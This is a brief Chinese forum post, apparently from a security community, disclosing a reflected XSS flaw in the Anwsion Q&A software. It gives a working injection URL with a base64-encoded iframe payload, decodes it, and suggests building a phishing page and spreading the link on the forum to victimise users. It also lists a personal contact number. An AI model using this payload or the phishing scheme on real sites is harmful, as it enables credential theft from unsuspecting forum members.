作者：y35u
发布时间：2012-10-27 22:18:58
浏览：4044 评论：3

Anwsion 反射型xss

http://www.3hack.com/?/search/q-PGlmcmFtZSBzcmM9Imh0dHA6Ly93d3cuYmFpZHUuY29tIj4=

后面base64解开 <iframe src="http://www.baidu.com">

可以构造一个钓鱼页面，再把url发该论坛，威力很大

朋友写的钓鱼页面就不发了
本人表示，中招了

y35u166篇文章1147篇回复

wechat:13045558888